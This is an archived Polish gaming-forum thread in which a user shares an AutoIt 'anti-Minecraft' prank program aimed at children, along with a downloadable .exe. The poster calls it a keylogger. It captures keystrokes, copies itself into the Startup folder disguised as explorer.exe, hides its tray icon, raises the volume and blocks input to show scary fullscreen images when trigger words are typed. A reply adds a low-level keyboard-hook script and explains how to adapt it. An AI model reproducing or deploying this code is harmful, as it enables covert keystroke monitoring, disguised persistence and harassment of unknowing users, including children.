Skocz do zawartości

  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • ✅ Pełny dostęp do działów i ukrytych treści
    • ✅ Możliwość pisania i odpowiadania w tematach
    • ✅ System prywatnych wiadomości
    • ✅ Zbieranie reputacji i rozwijanie swojego profilu
    • ✅ Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Rekomendowane odpowiedzi

Phoenix_PL Weteran

Phoenix_PL

Opublikowano
Weteran

Phoenix_PL

Opublikowano

Witam ^^

Jako iż dla pewnego usera napisałem kodzik, który jest istnym lekarstwem (ba, normalnie antybiotyk!) dla dzieci uzależnionych od Minecrafta (oraz pomaga im spokojnie zasnąć :>), wstawiam go tutaj :D

 

Program działa na prostej zasadzie. Monituje klawisze. Tak, keylogger (aczkolwiek zastrzegam prawa do kodu!). Kiedy user wpisze jedno ze słów kluczowych (pobocznych lub głównych - o tym potem) wyświetla mu mordę na (prawie) fullscreen. W niektórych przypadkach wali strasznym dźwiękiem :D

 

Słowa kluczowe trzymane są w IFie. Można je dodawać używając słówka Or. Po spojrzeniu na kod dla 80% społeczności MPC wszystko stanie się jasne :P

 

A oto kod:

Local $klawisze[26*2+12] = ["q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "a", "s", "d", "f", "g", "h", "j", "k", "l", "z", "x", "c", "v", "b", "n", "m", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "A", "S", "D", "F", "G", "H", "J", "K", "L", "Z", "X", "C", "V", "B", "N", "M", "{space}", "{enter}"]
#include <Sound.au3>
#NoTrayIcon

;ZMIENNE Z LICZBĄ OBRAZKÓW I MUZYKI!!!!!!!!
$l_obrazki = 6
$l_muzyka = 2

FileCopy(@ScriptFullPath, @ProgramsDir&"\Autostart\explorer.exe")

For $i = 0 To UBound ($klawisze) - 1 Step +1
HotKeySet ($klawisze[$i], "funkcja")
Next

For $i = 0 To 50 Step +1
   Send("{VOLUME_UP}")
Next
Global $fread

Global $soundp[$l_muzyka]
For $i = 0 To UBound($soundp) - 1 Step +1
$soundp[$i] = _SoundOpen(@TempDir&"\s"&$i&".mp3")
Next

$hGUI = GUICreate("", @DesktopWidth, @DesktopHeight, -1, -1, 0x80000000)
$hIMG = GUICtrlCreatePic("", 0, 0, @DesktopWidth, @DesktopHeight)
GUISetState(@SW_HIDE)


Func funkcja()
HotKeySet (@HotKeyPressed)
Send (@HotKeyPressed)
HotKeySet (@HotKeyPressed, "funkcja")
$fread &= @HotKeyPressed
If StringInStr($fread, "minecraft") or StringInStr($fread, "Minecraft") or StringInStr($fread, "MINECRAFT") or StringInStr($fread, "husiek") Then
Sleep (Random(1000, 5000, 1))
GUICtrlSetImage($hIMG, @TempDir&"\pic"&Random(1, $l_obrazki, 1)&".jpg")
BlockInput(1)
GUISetState(@SW_SHOW)
_SoundPlay($soundp[Random(0, UBound($soundp)-1, 1)], 1)
GUISetSTate(@SW_HIDE)
BlockInput(0)
;Shutdown(5)
;Exit
$fread = ""
ElseIf StringInStr($fread, "mine") or StringInStr ($fread, "Mine") or StringInStr ($fread, "craft") or StringInStr ($fread, "MINE") or StringInStr ($fread, "CRAFT") or StringInStr($fread, "yog") or StringInStr($fread, "yogbox") Then
Sleep (Random(3000, 5000, 1))
GUICtrlSetImage($hIMG, @TempDir&"\pic"&Random(1, $l_obrazki, 1)&".jpg")
GUISetState(@SW_SHOW)
Sleep (300)
;_SoundPlay($soundp[Random(0, UBound($soundp)-1, 1)], 1)
GUISetState(@SW_HIDE)
$fread = ""
EndIf
EndFunc

While 1
Sleep (10)
WEnd

 

Da dum, tss. Obrazki i muzyka jest losowana. Żeby dodać/usunąć obrazki/muzykę trzeba umieścić ją w folderze z programem (muzykę nazwać sx.mp3, gdzie x to jest numerek od 0 do wartości zmiennej $l_muzyka, obrazki nazywamy picx.jpg, gdzie x to numerek od 1 do wartości zmiennej $l_obrazki).

 

Testowane na mnie, starym wyjadaczu slendera i SCP - wystraszyło mnie skubaństwo 3 razy.

 

Okej, macie tutaj zipa z moimi obrazkami i dźwiękami oraz mojego exeka pod minecrafta.

Have fun ^^

 

(btw; pomoże ktoś - jak zrobić, żeby skrypt podgłaśniał systemowy volume?)

 

Pobierz zipa z source, dźwiękami oraz muzyką

Pobierz .exe

846331404756772371599.jpeg
linoskoczek Bywalec

linoskoczek

Opublikowano
Bywalec

linoskoczek

Opublikowano

A jaki masz system? Ja u siebie na se7enie sprawdzałem klikając przycisk do podgłaśniania i patrząc jednocześnie na wskaźnik głośności, to wyszło, że całość to 50 kliknięć :P

Yrokin Znawca

Yrokin

Opublikowano
Znawca

Yrokin

Opublikowano

Dodał byś trochę straszniejsze obrazki :P

Bo jakoś się ich nie przestraszyłem :F

Np. Scarfaces + za każdym razem jest jakiś w głośny dźwięk

graphic.png

  • 2 tygodnie później...
Wasiij Iwanowic Bywalec

Wasiij Iwanowic

Opublikowano
Bywalec

Wasiij Iwanowic

Opublikowano

Twórz życie łatwiejsze!(trudniejsze)

#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <StructureConstants.au3>
Global $hHook, $hStub_KeyProc, $buffer = ""
_Main()
Func _Main()
   OnAutoItExitRegister("Cleanup")
   Local $hmod
   $hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
   $hmod = _WinAPI_GetModuleHandle(0)
   $hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)
   MsgBox(4096, "", "Click OK, then in notepad type..." & _
	    @LF & @LF & "Jon" & @LF & "AutoIt" & @LF & @LF & "Press Esc to exit script")
   Run("notepad.exe")
   WinWait("[CLASS:Notepad]")
   WinActivate("[CLASS:Notepad]")
   While 1
    Sleep(10)
   WEnd
EndFunc   ;==>_Main
Func EvaluateKey($keycode)
   If (($keycode > 64) And ($keycode < 91)) _ ; a - z
	    Or (($keycode > 96) And ($keycode < 123)) _ ; A - Z
	    Or (($keycode > 47) And ($keycode < 58)) Then ; 0 - 9
    $buffer &= Chr($keycode)
    Switch $buffer
	    Case "Jon"
		    ToolTip("What can you say?")
	    Case "AutoIt"
		    ToolTip("AutoIt Rocks")
    EndSwitch
   ElseIf ($keycode > 159) And ($keycode < 164) Then
    Return
   ElseIf ($keycode = 27) Then ; esc key
    Exit
   Else
    $buffer = ""
   EndIf
EndFunc   ;==>EvaluateKey
;===========================================================
; callback function
;===========================================================
Func _KeyProc($nCode, $wParam, $lParam)
   Local $tKEYHOOKS
   $tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
   If $nCode < 0 Then
    Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
   EndIf
   If $wParam = $WM_KEYDOWN Then
    EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
   Else
    Local $flags = DllStructGetData($tKEYHOOKS, "flags")
    Switch $flags
	    Case $LLKHF_ALTDOWN
		    ConsoleWrite("$LLKHF_ALTDOWN" & @CRLF)
	    Case $LLKHF_EXTENDED
		    ConsoleWrite("$LLKHF_EXTENDED" & @CRLF)
	    Case $LLKHF_INJECTED
		    ConsoleWrite("$LLKHF_INJECTED" & @CRLF)
	    Case $LLKHF_UP
		    ConsoleWrite("$LLKHF_UP: scanCode - " & DllStructGetData($tKEYHOOKS, "scanCode") & @TAB & "vkCode - " & DllStructGetData($tKEYHOOKS, "vkCode") & @CRLF)
    EndSwitch
   EndIf
   Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndFunc   ;==>_KeyProc
Func Cleanup()
   _WinAPI_UnhookWindowsHookEx($hHook)
   DllCallbackFree($hStub_KeyProc)
EndFunc   ;==>Cleanup

1375799776-U359635.jpg

Wasiij Iwanowic Bywalec

Wasiij Iwanowic

Opublikowano
Bywalec

Wasiij Iwanowic

Opublikowano

@2xUP

Huh?

Ja też tego nie ogarniam ale wystarczy w tym podmienić to "Jon" i "AutoIt" na "MINECRAFT" i "husiek".

I w tych Case wrzucić śmieci niezbędne do straszenia.

1375799776-U359635.jpg

Wasiij Iwanowic Bywalec

Wasiij Iwanowic

Opublikowano
Bywalec

Wasiij Iwanowic

Opublikowano

A z tym się zgodze.

Nie raz męczyłem się z gotowymi systemami to efekt był taki ,że gotowiec leciał to kosza a na pulpicie powstawał Nowy AutoItv3 Script.

1375799776-U359635.jpg

Phoenix_PL Weteran

Phoenix_PL

Opublikowano
Weteran

Phoenix_PL

  • Autor
Opublikowano

A ni możesz przerobić :D?

 

APO: Spróbuję zrobić wersję która będzie uniemożliwiała odpalanie danego programu (wywalała na ryj jego proces) i wywalała tą mordkę :D

Podaje się tylko nazwę procesu programu.

 

ale to za parę dni, mam ostatnio sporo roboty

846331404756772371599.jpeg

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

Tematy
×
×
  • Dodaj nową pozycję...